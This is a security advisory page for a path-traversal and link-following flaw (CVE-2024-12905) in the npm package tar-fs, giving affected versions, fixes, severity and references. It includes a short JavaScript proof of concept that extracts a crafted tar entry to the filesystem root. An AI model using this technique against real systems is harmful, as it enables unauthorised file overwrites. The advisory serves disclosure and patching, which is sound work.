---
title: "GHSA-pq67-2wwv-3xjx: tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File"
description: "High severity. tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File. Affects tar-fs; fixed in 3.0.7."
url: https://inlinr.com/advisories/GHSA-pq67-2wwv-3xjx
lang: en
---

[Packages](https://inlinr.com/packages) / [tar-fs](https://inlinr.com/packages/tar-fs) / [Security](https://inlinr.com/packages/tar-fs/security)

High Vulnerability GHSA-pq67-2wwv-3xjx CVE-2024-12905 Published 27 Mar 2025

# tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File

Your version 

Affected releases · [tar-fs](https://inlinr.com/packages/tar-fs)

- 3.x 3.0.0 – 3.0.6 Fixed in 3.0.7
- 2.x 2.0.0 – 2.1.1 Fixed in 2.1.2
- 1.x 1.0.0 – 1.16.3 Fixed in 1.16.4
- 0.5.x and older 0.1.0 – 0.5.2 No fix, no longer updated

On 3.x, the newest line:

```
npm install tar-fs@3.0.7
```

Every release on a timeline

3.x 

1. Affected

3.0.0 – 3.0.6  
7 releases
2. Fixed

3.0.7 – 3.1.3  
8 releases, latest

2.x 

1. Affected

2.0.0 – 2.1.1  
4 releases
2. Fixed

2.1.2 – 2.1.5  
4 releases

1.x 

1. Affected

1.0.0 – 1.16.3  
30 releases
2. Fixed

1.16.4 – 1.16.6  
3 releases

0.x 

1. Affected

0.1.0 – 0.5.2  
21 releases

77 stable releases of tar-fs, oldest to newest, one row per major.

## What happens

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.

This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.

PoC

```
// Create a writable stream to extract the tar content
const extractStream = tarfs.extract('/', {
    // We can ignore the file type checks to allow the extraction of the malicious file
    ignore: (name) => false,
});

// Create a tar stream
const tarStream = tarfs.pack().on('error', (err) => {
    throw err;
});

// Append the malicious entry to the tar stream
tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));

// Finalize the tar stream
tarStream.finalize();

// Pipe the tar stream into the extract stream
tarStream.pipe(extractStream);
```

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: none
- **Integrity**: high
- **Availability**: none

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:N/​I:H/​A:N

## References

- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-12905 "https://nvd.nist.gov/vuln/detail/CVE-2024-12905")  
nvd.nist.gov/vuln/detail/CVE-2024-12905
- [Fix commit](https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed "https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed")  
a1dd7e7
- [Reference](https://arxiv.org/abs/2506.04962 "https://arxiv.org/abs/2506.04962")  
arxiv.org/abs/2506.04962
- [Reference](https://arxiv.org/pdf/2506.04962 "https://arxiv.org/pdf/2506.04962")  
arxiv.org/pdf/2506.04962
- [Package](https://github.com/mafintosh/tar-fs "https://github.com/mafintosh/tar-fs")  
github.com/mafintosh/tar-fs
- [Reference](https://lists.debian.org/debian-lts-announce/2025/06/msg00012.html "https://lists.debian.org/debian-lts-announce/2025/06/msg00012.html")  
lists.debian.org/debian-lts-announce/2025/06/ms…
- [Reference](https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs "https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs")  
seal.security/blog/a-link-to-the-past-uncoverin…

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
